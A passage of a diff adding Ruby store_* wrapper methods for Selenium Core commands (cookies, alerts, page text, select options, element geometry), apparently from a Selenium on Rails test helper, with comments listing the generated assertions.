+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_prompt_present</tt>
+  # * <tt>assert_prompt_not_present</tt>
+  # * <tt>verify_prompt_present</tt>
+  # * <tt>verify_prompt_not_present</tt>
+  # * <tt>wait_for_prompt_present</tt>
+  # * <tt>wait_for_prompt_not_present</tt>
+  def store_prompt_present variable_name
+    command 'storePromptPresent', variable_name
+  end
+
+  # Has <tt>confirm()</tt> been called? 
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_confirmation_present</tt>
+  # * <tt>assert_confirmation_not_present</tt>
+  # * <tt>verify_confirmation_present</tt>
+  # * <tt>verify_confirmation_not_present</tt>
+  # * <tt>wait_for_confirmation_present</tt>
+  # * <tt>wait_for_confirmation_not_present</tt>
+  def store_confirmation_present variable_name
+    command 'storeConfirmationPresent', variable_name
+  end
+  
+  # Return all cookies of the current page under test.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_cookie(pattern)</tt>
+  # * <tt>assert_not_cookie(pattern)</tt>
+  # * <tt>verify_cookie(pattern)</tt>
+  # * <tt>verify_not_cookie(pattern)</tt>
+  # * <tt>wait_for_cookie(pattern)</tt>
+  # * <tt>wait_for_not_cookie(pattern)</tt>
+  def store_cookie variable_name
+    command 'storeCookie', variable_name
+  end
+  
+  # Retrieves the text cursor position in the given input element or 
+  # textarea; beware, this may not work perfectly on all browsers.
+  #
+  # This method will fail if the specified element isn't an input element 
+  # or textarea, or there is no cursor in the element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_cursor_position(locator, pattern)</tt>
+  # * <tt>assert_not_cursor_position(locator, pattern)</tt>
+  # * <tt>verify_cursor_position(locator, pattern)</tt>
+  # * <tt>verify_not_cursor_position(locator, pattern)</tt>
+  # * <tt>wait_for_cursor_position(locator, pattern)</tt>
+  # * <tt>wait_for_not_cursor_position(locator, pattern)</tt>
+  def store_cursor_position locator, variable_name
+    command 'storeCursorPosition', locator, variable_name
+  end
+
+  # Retrieves the message of a JavaScript alert generated during the previous
+  # action, or fail if there were no alerts.
+  #
+  # Getting an alert has the same effect as manually clicking OK. If an alert
+  # is generated but you do not get/verify it, the next Selenium action will
+  # fail.
+  #
+  # NOTE: under Selenium, JavaScript alerts will NOT pop up a visible alert
+  # dialog.
+  #
+  # NOTE: Selenium does NOT support JavaScript alerts that are generated in a
+  # page's <tt>onload()</tt> event handler. In this case a visible dialog WILL be
+  # generated and Selenium will hang until someone manually clicks OK.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_alert(pattern)</tt>
+  # * <tt>assert_not_alert(pattern)</tt>
+  # * <tt>verify_alert_present(pattern)</tt>
+  # * <tt>verify_not_alert(pattern)</tt>
+  # * <tt>wait_for_alert(pattern)</tt>
+  # * <tt>wait_for_not_alert(pattern)</tt>
+  def store_alert variable_name
+    command 'storeAlert', variable_name
+  end
+
+  # Retrieves the message of a JavaScript confirmation dialog generated during
+  # the previous action.
+  #
+  # By default, the confirm function will return +true+, having the same effect
+  # as manually clicking OK. This can be changed by prior execution of the
+  # +choose_cancel_on_next_confirmation+ command. If a confirmation is
+  # generated but you do not get/verify it, the next Selenium action will fail.
+  #
+  # NOTE: under Selenium, JavaScript confirmations will NOT pop up a visible
+  # dialog.
+  #
+  # NOTE: Selenium does NOT support JavaScript confirmations that are generated
+  # in a page's <tt>onload()</tt> event handler. In this case a visible dialog WILL be
+  # generated and Selenium will hang until you manually click OK.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_confirmation(pattern)</tt>
+  # * <tt>assert_not_confirmation(pattern)</tt>
+  # * <tt>verify_confirmation_present(pattern)</tt>
+  # * <tt>verify_not_confirmation(pattern)</tt>
+  # * <tt>wait_for_confirmation(pattern)</tt>
+  # * <tt>wait_for_not_confirmation(pattern)</tt>
+  def store_confirmation variable_name
+    command 'storeConfirmation', variable_name
+  end
+
+  # Retrieves the message of a JavaScript question prompt dialog generated 
+  # during the previous action. 
+  #
+  # Successful handling of the prompt requires prior execution of the 
+  # +answer_on_next_prompt+ command. If a prompt is generated but you do not 
+  # get/verify it, the next Selenium action will fail.
+  #
+  # NOTE: under Selenium, JavaScript prompts will NOT pop up a visible dialog.
+  #
+  # NOTE: Selenium does NOT support JavaScript prompts that are generated in a 
+  # page's <tt>onload()</tt> event handler. In this case a visible dialog WILL be
+  # generated and Selenium will hang until someone manually clicks OK.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_prompt(pattern)</tt>
+  # * <tt>assert_not_prompt(pattern)</tt>
+  # * <tt>verify_prompt_present(pattern)</tt>
+  # * <tt>verify_not_prompt(pattern)</tt>
+  # * <tt>wait_for_prompt(pattern)</tt>
+  # * <tt>wait_for_not_prompt(pattern)</tt>
+  def store_prompt variable_name
+    command 'storePrompt', variable_name
+  end
+
+  # Gets the absolute URL of the current page. 
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_absolute_location(pattern)</tt>
+  # * <tt>assert_not_absolute_location(pattern)</tt>
+  # * <tt>verify_absolute_location_present(pattern)</tt>
+  # * <tt>verify_not_absolute_location(pattern)</tt>
+  # * <tt>wait_for_absolute_location(pattern)</tt>
+  # * <tt>wait_for_not_absolute_location(pattern)</tt>
+  def store_absolute_location variable_name
+    command 'storeAbsoluteLocation', variable_name
+  end
+
+  # Verify the location of the current page ends with the expected location. 
+  # If an URL querystring is provided, this is checked as well. 
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_location(pattern)</tt>
+  # * <tt>assert_not_location(pattern)</tt>
+  # * <tt>verify_location_present(pattern)</tt>
+  # * <tt>verify_not_location(pattern)</tt>
+  # * <tt>wait_for_location(pattern)</tt>
+  # * <tt>wait_for_not_location(pattern)</tt>
+  def store_location expected_location, variable_name
+    command 'storeLocation', expected_location, variable_name
+  end
+  
+  # Returns the number of pixels between "mousemove" events during 
+  # drag_and_drop commands (default=10).
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_mouse_speed(pattern)</tt>
+  # * <tt>assert_not_mouse_speed(pattern)</tt>
+  # * <tt>verify_mouse_speed(pattern)</tt>
+  # * <tt>verify_not_mouse_speed(pattern)</tt>
+  # * <tt>wait_for_mouse_speed(pattern)</tt>
+  # * <tt>wait_for_not_mouse_speed(pattern)</tt>
+  def store_mouse_speed variable_name
+    command 'storeMouseSpeed', variable_name
+  end
+  
+  # Gets the title of the current page.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_title(pattern)</tt>
+  # * <tt>assert_not_title(pattern)</tt>
+  # * <tt>verify_title_present(pattern)</tt>
+  # * <tt>verify_not_title(pattern)</tt>
+  # * <tt>wait_for_title(pattern)</tt>
+  # * <tt>wait_for_not_title(pattern)</tt>
+  def store_title variable_name
+    command 'storeTitle', variable_name
+  end
+
+  # Gets the entire text of the page.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_body_text(pattern)</tt>
+  # * <tt>assert_not_body_text(pattern)</tt>
+  # * <tt>verify_body_text_present(pattern)</tt>
+  # * <tt>verify_not_body_text(pattern)</tt>
+  # * <tt>wait_for_body_text(pattern)</tt>
+  # * <tt>wait_for_not_body_text(pattern)</tt>
+  def store_body_text variable_name
+    command 'storeBodyText', variable_name
+  end
+
+  # Gets the (whitespace-trimmed) value of an input field (or anything else
+  # with a value parameter). For checkbox/radio elements, the value will be
+  # "on" or "off" depending on whether the element is checked or not. 
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_value(locator, pattern)</tt>
+  # * <tt>assert_not_value(locator, pattern)</tt>
+  # * <tt>verify_value_present(locator, pattern)</tt>
+  # * <tt>verify_not_value(locator, pattern)</tt>
+  # * <tt>wait_for_value(locator, pattern)</tt>
+  # * <tt>wait_for_not_value(locator, pattern)</tt>
+  def store_value locator, variable_name
+    command 'storeValue', locator, variable_name
+  end
+
+  # Gets the text of an element. This works for any element that contains text.
+  # This command uses either the +textContent+ (Mozilla-like browsers) or the
+  # +innerText+ (IE-like browsers) of the element, which is the rendered text
+  # shown to the user.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_text(locator, pattern)</tt>
+  # * <tt>assert_not_text(locator, pattern)</tt>
+  # * <tt>verify_text_present(locator, pattern)</tt>
+  # * <tt>verify_not_text(locator, pattern)</tt>
+  # * <tt>wait_for_text(locator, pattern)</tt>
+  # * <tt>wait_for_not_text(locator, pattern)</tt>
+  def store_text locator, variable_name
+    command 'storeText', locator, variable_name
+  end
+
+  # Gets the result of evaluating the specified JavaScript snippet. The snippet
+  # may have multiple lines, but only the result of the last line will be
+  # returned.
+  #
+  # Note that, by default, the snippet will run in the context of the
+  # "selenium" object itself, so +this+ will refer to the Selenium object, and
+  # +window+ will refer to the top-level runner test window, not the window of
+  # your application.
+  #
+  # If you need a reference to the window of your application, you can refer to
+  # <tt>this.browserbot.getCurrentWindow()</tt> and if you need to use a locator to
+  # refer to a single element in your application page, you can use
+  # <tt>this.page().findElement("foo")</tt> where <tt>"foo"</tt> is your locator.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_eval(script, pattern)</tt>
+  # * <tt>assert_not_eval(script, pattern)</tt>
+  # * <tt>verify_eval_present(script, pattern)</tt>
+  # * <tt>verify_not_eval(script, pattern)</tt>
+  # * <tt>wait_for_eval(script, pattern)</tt>
+  # * <tt>wait_for_not_eval(script, pattern)</tt>
+  def store_eval script, variable_name
+    command 'storeEval', script, variable_name
+  end
+
+  # Gets whether a toggle-button (checkbox/radio) is checked. Fails if the
+  # specified element doesn't exist or isn't a toggle-button.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_checked(locator)</tt>
+  # * <tt>assert_not_checked(locator)</tt>
+  # * <tt>verify_checked_present(locator)</tt>
+  # * <tt>verify_not_checked(locator)</tt>
+  # * <tt>wait_for_checked(locator)</tt>
+  # * <tt>wait_for_not_checked(locator)</tt>
+  def store_checked locator, variable_name
+    command 'storeChecked', locator, variable_name
+  end
+
+  # Gets the text from a cell of a table.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_table(locator, row, column, pattern)</tt>
+  # * <tt>assert_not_table(locator, row, column, pattern)</tt>
+  # * <tt>verify_table_present(locator, row, column, pattern)</tt>
+  # * <tt>verify_not_table(locator, row, column, pattern)</tt>
+  # * <tt>wait_for_table(locator, row, column, pattern)</tt>
+  # * <tt>wait_for_not_table(locator, row, column, pattern)</tt>
+  def store_table locator, row, column, variable_name
+    command 'storeTable', "#{locator}.#{row}.#{column}", variable_name
+  end
+
+  # Verifies that the selected option of a drop-down satisfies the
+  # <tt>option_locator</tt>.
+  #
+  # <tt>option_locator</tt> is typically just an option label (e.g. "John Smith").
+  #
+  # See the <tt>select</tt> command for more information about option locators.
+  #
+  # NOTE: <tt>store_selected</tt> is currently not supported by Selenium Core.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected(locator, option_locator)</tt>
+  # * <tt>assert_not_selected(locator, option_locator)</tt>
+  # * <tt>verify_selected_present(locator, option_locator)</tt>
+  # * <tt>verify_not_selected(locator, option_locator)</tt>
+  # * <tt>wait_for_selected(locator, option_locator)</tt>
+  # * <tt>wait_for_not_selected(locator, option_locator)</tt>
+  def store_selected locator, option_locator, variable_name
+    raise 'Not supported in Selenium Core at the moment'
+  end
+  
+  # Gets option element ID for selected option in the specified select element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_id(select_locator, pattern)</tt>
+  # * <tt>assert_not_selected_id(select_locator, pattern)</tt>
+  # * <tt>verify_selected_id(select_locator, pattern)</tt>
+  # * <tt>verify_not_selected_id(select_locator, pattern)</tt>
+  # * <tt>wait_for_selected_id(select_locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_id(select_locator, pattern)</tt>
+  def store_selected_id select_locator, variable_name
+    command 'storeSelectedId', select_locator, variable_name
+  end
+
+  # Gets all option element IDs for selected options in the specified select 
+  # or multi-select element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_ids(select_locator, pattern)</tt>
+  # * <tt>assert_not_selected_ids(select_locator, pattern)</tt>
+  # * <tt>verify_selected_ids(select_locator, pattern)</tt>
+  # * <tt>verify_not_selected_ids(select_locator, pattern)</tt>
+  # * <tt>wait_for_selected_ids(select_locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_ids(select_locator, pattern)</tt>
+  def store_selected_ids select_locator, variable_name
+    command 'storeSelectedIds', select_locator, variable_name
+  end
+  
+  # Gets option index (option number, starting at 0) for selected option in the 
+  # specified select element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_index(select_locator, pattern)</tt>
+  # * <tt>assert_not_selected_index(select_locator, pattern)</tt>
+  # * <tt>verify_selected_index(select_locator, pattern)</tt>
+  # * <tt>verify_not_selected_index(select_locator, pattern)</tt>
+  # * <tt>wait_for_selected_index(select_locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_index(select_locator, pattern)</tt>
+  def store_selected_index select_locator, variable_name
+    command 'storeSelectedIndex', select_locator, variable_name
+  end
+
+  # Gets all option indexes (option number, starting at 0) for selected options 
+  # in the specified select or multi-select element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_indexes(select_locator, pattern)</tt>
+  # * <tt>assert_not_selected_indexes(select_locator, pattern)</tt>
+  # * <tt>verify_selected_indexes(select_locator, pattern)</tt>
+  # * <tt>verify_not_selected_indexes(select_locator, pattern)</tt>
+  # * <tt>wait_for_selected_indexes(select_locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_indexes(select_locator, pattern)</tt>
+  def store_selected_indexes select_locator, variable_name
+    command 'storeSelectedIndexes', select_locator, variable_name
+  end
+  
+  # Gets option label (visible text) for selected option in the specified select 
+  # element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_label(select_locator, pattern)</tt>
+  # * <tt>assert_not_selected_label(select_locator, pattern)</tt>
+  # * <tt>verify_selected_label(select_locator, pattern)</tt>
+  # * <tt>verify_not_selected_label(select_locator, pattern)</tt>
+  # * <tt>wait_for_selected_label(select_locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_label(select_locator, pattern)</tt>
+  def store_selected_label select_locator, variable_name
+    command 'storeSelectedLabel', select_locator, variable_name
+  end
+
+  # Gets all option labels (visible text) for selected options in the specified 
+  # select or multi-select element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_labels(select_locator, pattern)</tt>
+  # * <tt>assert_not_selected_labels(select_locator, pattern)</tt>
+  # * <tt>verify_selected_labels(select_locator, pattern)</tt>
+  # * <tt>verify_not_selected_labels(select_locator, pattern)</tt>
+  # * <tt>wait_for_selected_labels(select_locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_labels(select_locator, pattern)</tt>
+  def store_selected_labels select_locator, variable_name
+    command 'storeSelectedLabels', select_locator, variable_name
+  end
+  
+  # Gets option value (value attribute) for selected option in the specified 
+  # select element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_value(select_locator, pattern)</tt>
+  # * <tt>assert_not_selected_value(select_locator, pattern)</tt>
+  # * <tt>verify_selected_value(select_locator, pattern)</tt>
+  # * <tt>verify_not_selected_value(select_locator, pattern)</tt>
+  # * <tt>wait_for_selected_value(select_locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_value(select_locator, pattern)</tt>
+  def store_selected_value select_locator, variable_name
+    command 'storeSelectedValue', select_locator, variable_name
+  end
+
+  # Gets all option values (value attribute) for selected options in the specified 
+  # select or multi-select element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_values(select_locator, pattern)</tt>
+  # * <tt>assert_not_selected_values(select_locator, pattern)</tt>
+  # * <tt>verify_selected_values(select_locator, pattern)</tt>
+  # * <tt>verify_not_selected_values(select_locator, pattern)</tt>
+  # * <tt>wait_for_selected_values(select_locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_values(select_locator, pattern)</tt>
+  def store_selected_values select_locator, variable_name
+    command 'storeSelectedValues', select_locator, variable_name
+  end
+  
+  # Determines whether some option in a drop-down menu is selected.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_something_selected(select_locator)</tt>
+  # * <tt>assert_not_something_selected(select_locator)</tt>
+  # * <tt>verify_something_selected(select_locator)</tt>
+  # * <tt>verify_not_something_selected(select_locator)</tt>
+  # * <tt>wait_for_something_selected(select_locator)</tt>
+  # * <tt>wait_for_not_something_selected(select_locator)</tt>
+  def store_something_selected select_locator, variable_name
+    command 'storeSomethingSelected', select_locator, variable_name
+  end
+
+  # Gets all option labels for selected options in the specified select or
+  # multi-select element.
+  #
+  # The +pattern+ for the automatically generated assertions can either take an
+  # array or a pattern.
+  #  assert_selected_options 'fruits', ['apple', 'pear']
+  #  assert_selected_options 'fruits', 'a*,p*'
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_selected_options(locator, pattern)</tt>
+  # * <tt>assert_not_selected_options(locator, pattern)</tt>
+  # * <tt>verify_selected_options_present(locator, pattern)</tt>
+  # * <tt>verify_not_selected_options(locator, pattern)</tt>
+  # * <tt>wait_for_selected_options(locator, pattern)</tt>
+  # * <tt>wait_for_not_selected_options(locator, pattern)</tt>
+  def store_selected_options locator, variable_name
+    command 'storeSelectedOptions', locator, variable_name
+  end
+
+  # Gets all option labels in the specified select drop-down.
+  #
+  # The +pattern+ for the automatically generated assertions can either take an
+  # array or a pattern.
+  #  assert_select_options 'fruits', ['apple', 'pear']
+  #  assert_select_options 'fruits', 'a*,p*'
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_select_options(locator, pattern)</tt>
+  # * <tt>assert_not_select_options(locator, pattern)</tt>
+  # * <tt>verify_select_options_present(locator, pattern)</tt>
+  # * <tt>verify_not_select_options(locator, pattern)</tt>
+  # * <tt>wait_for_select_options(locator, pattern)</tt>
+  # * <tt>wait_for_not_select_options(locator, pattern)</tt>
+  def store_select_options locator, variable_name
+    command 'storeSelectOptions', locator, variable_name
+  end
+
+  # Gets the value of an element attribute.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_attribute(locator, attribute_name, pattern)</tt>
+  # * <tt>assert_not_attribute(locator, attribute_name, pattern)</tt>
+  # * <tt>verify_attribute_present(locator, attribute_name, pattern)</tt>
+  # * <tt>verify_not_attribute(locator, attribute_name, pattern)</tt>
+  # * <tt>wait_for_attribute(locator, attribute_name, pattern)</tt>
+  # * <tt>wait_for_not_attribute(locator, attribute_name, pattern)</tt>
+  def store_attribute locator, attribute_name, variable_name
+    command 'storeAttribute', "#{locator}@#{attribute_name}", variable_name
+  end
+  
+  # Check if these two elements have same parent and are ordered. Two 
+  # same elements will not be considered ordered.
+  #
+  # NOTE: <tt>store_ordered</tt> is currently not supported by Selenium Core.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_ordered(locator_1, locator_2)</tt>
+  # * <tt>assert_not_ordered(locator_1, locator_2)</tt>
+  # * <tt>verify_ordered(locator_1, locator_2)</tt>
+  # * <tt>verify_not_ordered(locator_1, locator_2)</tt>
+  # * <tt>wait_for_ordered(locator_1, locator_2)</tt>
+  # * <tt>wait_for_not_ordered(locator_1, locator_2)</tt>
+  def store_ordered locator_1, locator_2, variable_name
+    raise 'Not supported in Selenium Core at the moment'
+  end
+
+  # Verifies that the specified text pattern appears somewhere on the rendered
+  # page shown to the user.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_text_present(pattern)</tt>
+  # * <tt>assert_text_not_present(pattern)</tt>
+  # * <tt>verify_text_present(pattern)</tt>
+  # * <tt>verify_text_not_present(pattern)</tt>
+  # * <tt>wait_for_text_present(pattern)</tt>
+  # * <tt>wait_for_text_not_present(pattern)</tt>
+  def store_text_present pattern, variable_name
+    command 'storeTextPresent', pattern, variable_name
+  end
+
+  # Verifies that the specified element is somewhere on the page.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_element_present(locator)</tt>
+  # * <tt>assert_element_not_present(locator)</tt>
+  # * <tt>verify_element_present(locator)</tt>
+  # * <tt>verify_element_not_present(locator)</tt>
+  # * <tt>wait_for_element_present(locator)</tt>
+  # * <tt>wait_for_element_not_present(locator)</tt>
+  def store_element_present locator, variable_name
+    command 'storeElementPresent', locator, variable_name
+  end
+
+  # Determines if the specified element is visible. An element can be rendered
+  # invisible by setting the CSS "visibility" property to "hidden", or the
+  # "display" property to "none", either for the element itself or one if its
+  # ancestors. This method will fail if the element is not present.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_visible(locator)</tt>
+  # * <tt>assert_not_visible(locator)</tt>
+  # * <tt>verify_visible(locator)</tt>
+  # * <tt>verify_not_visible(locator)</tt>
+  # * <tt>wait_for_visible(locator)</tt>
+  # * <tt>wait_for_not_visible(locator)</tt>
+  def store_visible locator, variable_name
+    command 'storeVisible', locator, variable_name
+  end
+  
+  # Retrieves the height of an element. This method will fail if the element 
+  # is not present.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_element_height(locator, pattern)</tt>
+  # * <tt>assert_not_element_height(locator, pattern)</tt>
+  # * <tt>verify_element_height(locator, pattern)</tt>
+  # * <tt>verify_not_element_height(locator, pattern)</tt>
+  # * <tt>wait_for_element_height(locator, pattern)</tt>
+  # * <tt>wait_for_not_element_height(locator, pattern)</tt>
+  def store_element_height locator, variable_name
+    command 'storeElementHeight', locator, variable_name
+  end
+  
+  # Get the relative index of an element to its parent (starting from 0). 
+  # The comment node and empty text node will be ignored.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_element_index(locator, pattern)</tt>
+  # * <tt>assert_not_element_index(locator, pattern)</tt>
+  # * <tt>verify_element_index(locator, pattern)</tt>
+  # * <tt>verify_not_element_index(locator, pattern)</tt>
+  # * <tt>wait_for_element_index(locator, pattern)</tt>
+  # * <tt>wait_for_not_element_index(locator, pattern)</tt>
+  def store_element_index locator, variable_name
+    command 'storeElementIndex', locator, variable_name
+  end
+  
+  # Retrieves the width of an element. This method will fail if the element 
+  # is not present.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_element_width(locator, pattern)</tt>
+  # * <tt>assert_not_element_width(locator, pattern)</tt>
+  # * <tt>verify_element_width(locator, pattern)</tt>
+  # * <tt>verify_not_element_width(locator, pattern)</tt>
+  # * <tt>wait_for_element_width(locator, pattern)</tt>
+  # * <tt>wait_for_not_element_width(locator, pattern)</tt>
+  def store_element_width locator, variable_name
+    command 'storeElementWidth', locator, variable_name
+  end
+  
+  # Retrieves the horizontal position of an element. This method will fail 
+  # if the element is not present.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_element_position_left(locator, pattern)</tt>
+  # * <tt>assert_not_element_position_left(locator, pattern)</tt>
+  # * <tt>verify_element_position_left(locator, pattern)</tt>
+  # * <tt>verify_not_element_position_left(locator, pattern)</tt>
+  # * <tt>wait_for_element_position_left(locator, pattern)</tt>
+  # * <tt>wait_for_not_element_position_left(locator, pattern)</tt>
+  def store_element_position_left locator, variable_name
+    command 'storeElementPositionLeft', locator, variable_name
+  end
+  
+  # Retrieves the vertical position of an element. This method will fail 
+  # if the element is not present.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_element_position_top(locator, pattern)</tt>
+  # * <tt>assert_not_element_position_top(locator, pattern)</tt>
+  # * <tt>verify_element_position_top(locator, pattern)</tt>
+  # * <tt>verify_not_element_position_top(locator, pattern)</tt>
+  # * <tt>wait_for_element_position_top(locator, pattern)</tt>
+  # * <tt>wait_for_not_element_position_top(locator, pattern)</tt>
+  def store_element_position_top locator, variable_name
+    command 'storeElementPositionTop', locator, variable_name
+  end
+  
+  # Return the contents of the log.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_log_messages(pattern)</tt>
+  # * <tt>assert_not_log_messages(pattern)</tt>
+  # * <tt>verify_log_messages(pattern)</tt>
+  # * <tt>verify_not_log_messages(pattern)</tt>
+  # * <tt>wait_for_log_messages(pattern)</tt>
+  # * <tt>wait_for_not_log_messages(pattern)</tt>
+  def store_log_messages variable_name
+    command 'storeLogMessages', variable_name
+  end
+
+  # Determines whether the specified input element is editable, i.e. hasn't
+  # been disabled. This method will fail if the specified element isn't an
+  # input element.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_editable(locator)</tt>
+  # * <tt>assert_not_editable(locator)</tt>
+  # * <tt>verify_editable(locator)</tt>
+  # * <tt>verify_not_editable(locator)</tt>
+  # * <tt>wait_for_editable(locator)</tt>
+  # * <tt>wait_for_not_editable(locator)</tt>
+  def store_editable locator, variable_name
+    command 'storeEditable', locator, variable_name
+  end
+
+  # Returns the IDs of all buttons on the page.
+  #
+  # If a given button has no ID, it will appear as "" in this array.
+  #
+  # The +pattern+ for the automatically generated assertions can either take an
+  # array or a pattern.
+  #  assert_all_buttons ['but1', 'but2']
+  #  assert_all_buttons 'but?,but?*'
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_all_buttons(pattern)</tt>
+  # * <tt>assert_not_all_buttons(pattern)</tt>
+  # * <tt>verify_all_buttons(pattern)</tt>
+  # * <tt>verify_not_all_buttons(pattern)</tt>
+  # * <tt>wait_for_all_buttons(pattern)</tt>
+  # * <tt>wait_for_not_all_buttons(pattern)</tt>
+  def store_all_buttons variable_name
+    command 'storeAllButtons', variable_name
+  end
+
+  # Returns the IDs of all links on the page.
+  #
+  # If a given link has no ID, it will appear as "" in this array.
+  #
+  # The +pattern+ for the automatically generated assertions can either take an
+  # array or a pattern.
+  #  assert_all_links ['link1', 'link2']
+  #  assert_all_links 'link?,link?*'
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_all_links(pattern)</tt>
+  # * <tt>assert_not_all_links(pattern)</tt>
+  # * <tt>verify_all_links(pattern)</tt>
+  # * <tt>verify_not_all_links(pattern)</tt>
+  # * <tt>wait_for_all_links(pattern)</tt>
+  # * <tt>wait_for_not_all_links(pattern)</tt>
+  def store_all_links variable_name
+    command 'storeAllLinks', variable_name
+  end
+
+  # Returns the IDs of all input fields on the page.
+  #
+  # If a given field has no ID, it will appear as "" in this array.
+  #
+  # The +pattern+ for the automatically generated assertions can either take an
+  # array or a pattern.
+  #  assert_all_fields ['field1', 'field2']
+  #  assert_all_fields 'field?,field?*'
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_all_fields(pattern)</tt>
+  # * <tt>assert_not_all_fields(pattern)</tt>
+  # * <tt>verify_all_fields(pattern)</tt>
+  # * <tt>verify_not_all_fields(pattern)</tt>
+  # * <tt>wait_for_all_fields(pattern)</tt>
+  # * <tt>wait_for_not_all_fields(pattern)</tt>
+  def store_all_fields variable_name
+    command 'storeAllFields', variable_name
+  end
+
+  # Returns the entire HTML source between the opening and closing "html" tags.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_html_source(pattern)</tt>
+  # * <tt>assert_not_html_source(pattern)</tt>
+  # * <tt>verify_html_source(pattern)</tt>
+  # * <tt>verify_not_html_source(pattern)</tt>
+  # * <tt>wait_for_html_source(pattern)</tt>
+  # * <tt>wait_for_not_html_source(pattern)</tt>
+  def store_html_source variable_name
+    command 'storeHtmlSource', variable_name
+  end
+
+  # Returns the specified expression.
+  #
+  # This is useful because of JavaScript preprocessing.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_expression(expression, pattern)</tt>
+  # * <tt>assert_not_expression(expression, pattern)</tt>
+  # * <tt>verify_expression(expression, pattern)</tt>
+  # * <tt>verify_not_expression(expression, pattern)</tt>
+  # * <tt>wait_for_expression(expression, pattern)</tt>
+  # * <tt>wait_for_not_expression(expression, pattern)</tt>
+  def store_expression expression, variable_name
+    command 'storeExpression', expression, variable_name
+  end
+  
+  # Determine whether current/locator identify the frame containing this 
+  # running code.
+  #
+  # This is useful in proxy injection mode, where this code runs in every 
+  # browser frame and window, and sometimes the selenium server needs to 
+  # identify the "current" frame. In this case, when the test calls select_frame, 
+  # this routine is called for each frame to figure out which one has been 
+  # selected. The selected frame will return true, while all others will return 
+  # false.
+  #
+  # NOTE: <tt>store_whether_this_frame_match_frame_expression</tt> is currently 
+  # not supported by Selenium Core.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
+  # * <tt>assert_not_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
+  # * <tt>verify_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
+  # * <tt>verify_not_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
+  # * <tt>wait_for_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
+  # * <tt>wait_for_not_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
+  def store_whether_this_frame_match_frame_expression current_frame_string, target, variable_name
+    raise 'Not supported in Selenium Core at the moment'
+  end
+  
+  # Determine whether current_window_string plus target identify the window 
+  # containing this running code.
+  #
+  # This is useful in proxy injection mode, where this code runs in every browser 
+  # frame and window, and sometimes the selenium server needs to identify the 
+  # "current" window. In this case, when the test calls select_window, this routine 
+  # is called for each window to figure out which one has been selected. The selected 
+  # window will return true, while all others will return false.
+  #
+  # NOTE: <tt>store_whether_this_window_match_window_expression</tt> is currently 
+  # not supported by Selenium Core.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_whether_this_window_match_window_expression(current_window_string, target)</tt>
+  # * <tt>assert_not_whether_this_window_match_window_expression(current_window_string, target)</tt>
+  # * <tt>verify_whether_this_window_match_window_expression(current_window_string, target)</tt>
+  # * <tt>verify_not_whether_this_window_match_window_expression(current_window_string, target)</tt>
+  # * <tt>wait_for_whether_this_window_match_window_expression(current_window_string, target)</tt>
+  # * <tt>wait_for_not_whether_this_window_match_window_expression(current_window_string, target)</tt>
+  def store_whether_this_window_match_window_expression current_window_string, target, variable_name
